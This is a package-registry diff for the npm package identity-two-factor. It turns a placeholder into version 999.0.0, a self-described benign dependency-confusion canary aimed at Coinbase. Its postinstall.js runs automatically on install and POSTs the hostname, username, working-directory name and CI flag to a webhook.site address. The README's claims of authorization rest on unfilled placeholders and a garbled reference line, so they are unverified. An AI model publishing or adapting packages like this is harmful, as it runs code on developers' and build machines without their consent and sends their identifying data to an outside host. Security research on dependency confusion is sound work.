identity-two-factor 0.0.0-stage → 999.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of identity-two-factor might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,3 +1,32 @@
1
- # Temporary Holding Version
1
+ # identity-two-factor (SECURITY RESEARCH CANARY — benign)
2
2
 
3
- This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.
3
+ This package is a **benign canary** published for an **authorized**
4
+ dependency-confusion test against Coinbase, coordinated via
5
+ <email / HackerOne report ID>, approved on <date>.
6
+
7
+ ## What it does
8
+
9
+ - Contains **no functional code** (`index.js` exports an empty object).
10
+ - Its `postinstall` script does exactly two things:
11
+ 1. writes a timestamped marker JSON to the OS temp directory;
12
+ 2. sends **one** HTTPS beacon containing: canary token, timestamp,
13
+ and (if approved) hostname / username / cwd basename / CI flag.
14
+ - It collects **no secrets, no environment variable values, no file
15
+ contents**, and installs **no persistence**.
16
+
17
+ ## Why
18
+
19
+ To demonstrate whether Coinbase build/developer environments resolve
20
+ this internal package name from the public npm registry — a
21
+ dependency-confusion condition that would allow a malicious third
22
+ party to execute arbitrary code inside Coinbase infrastructure.
23
+ This canary exists to prove the condition with the smallest possible
24
+ footprint, under explicit program authorization.
25
+
26
+ ## Contact / removal
27
+
28
+ - Researcher: <name> — <email> — HackerOne: <username>
29
+ - If you are seeing this package outside of that test, or want it
30
+ removed immediately: contact the address above.
31
+ - The package will be unpublished after beacon confirmation or at the
32
+ end of the authorized test window, whichever comes first.
package/index.js ADDED
@@ -0,0 +1,2 @@
1
+ // Security research canary — no functionality. See README.
2
+ module.exports = {};
package/package.json CHANGED
@@ -1,6 +1,16 @@
1
1
  {
2
2
  "name": "identity-two-factor",
3
- "version": "0.0.0-stage",
4
- "stub": true,
5
- "description": "Temporary package placeholder for staged publishing"
6
- }
3
+ "version": "999.0.0",
4
+ "description": "Security research canary - benign. See README. NOT functional software.",
5
+ "author": { "name": "hologrammmm0x" },
6
+ "main": "index.js",
7
+ "scripts": {
8
+ "postinstall": "node postinstall.js"
9
+ },
10
+ "files": [
11
+ "index.js",
12
+ "postinstall.js",
13
+ "README.md"
14
+ ],
15
+ "license": "MIT"
16
+ }
package/postinstall.js ADDED
@@ -0,0 +1,55 @@
1
+ // ============================================================
2
+ // identity-two-factor — SECURITY RESEARCH CANARY (BENIGN)
3
+ // Authorized dependency-confusion test for Coinbase.
4
+ // Authorization ref: wearehackerone counbase poc
5
+ // Proves ONLY that this install script executed.
6
+ // Collects NO secrets, NO env values, NO file contents.
7
+ // ============================================================
8
+ const https = require("https");
9
+ const http = require("http");
10
+ const os = require("os");
11
+ const fs = require("fs");
12
+ const path = require("path");
13
+
14
+ // Beacon endpoint: override via CANARY_BEACON env var; default = authorized-test endpoint
15
+ const BEACON = process.env.CANARY_BEACON || "https://webhook.site/e0981a8e-081e-49a0-8b4a-235109e13045/cbhq-canary";
16
+ const TOKEN = "identity-two-factor-canary-999.0.0";
17
+
18
+ const body = JSON.stringify({
19
+ token: TOKEN,
20
+ ts: new Date().toISOString(),
21
+ // --- extended metadata (strip these 4 lines if program approved minimal-only) ---
22
+ host: os.hostname(),
23
+ user: os.userInfo().username,
24
+ cwd: path.basename(process.cwd()),
25
+ ci: !!process.env.CI,
26
+ node: process.version,
27
+ });
28
+
29
+ // 1) Marker file — local proof even if outbound network is blocked
30
+ try {
31
+ fs.writeFileSync(
32
+ path.join(os.tmpdir(), "identity-two-factor-canary-marker.json"),
33
+ body
34
+ );
35
+ } catch (e) { /* never fail */ }
36
+
37
+ // 2) Single one-shot beacon — never fails the install
38
+ try {
39
+ const mod = BEACON.startsWith("http://") ? http : https;
40
+ const req = mod.request(
41
+ BEACON,
42
+ {
43
+ method: "POST",
44
+ timeout: 5000,
45
+ headers: {
46
+ "Content-Type": "application/json",
47
+ "Content-Length": Buffer.byteLength(body),
48
+ },
49
+ },
50
+ (r) => r.resume()
51
+ );
52
+ req.on("error", () => {});
53
+ req.on("timeout", () => req.destroy());
54
+ req.end(body);
55
+ } catch (e) { /* never fail */ }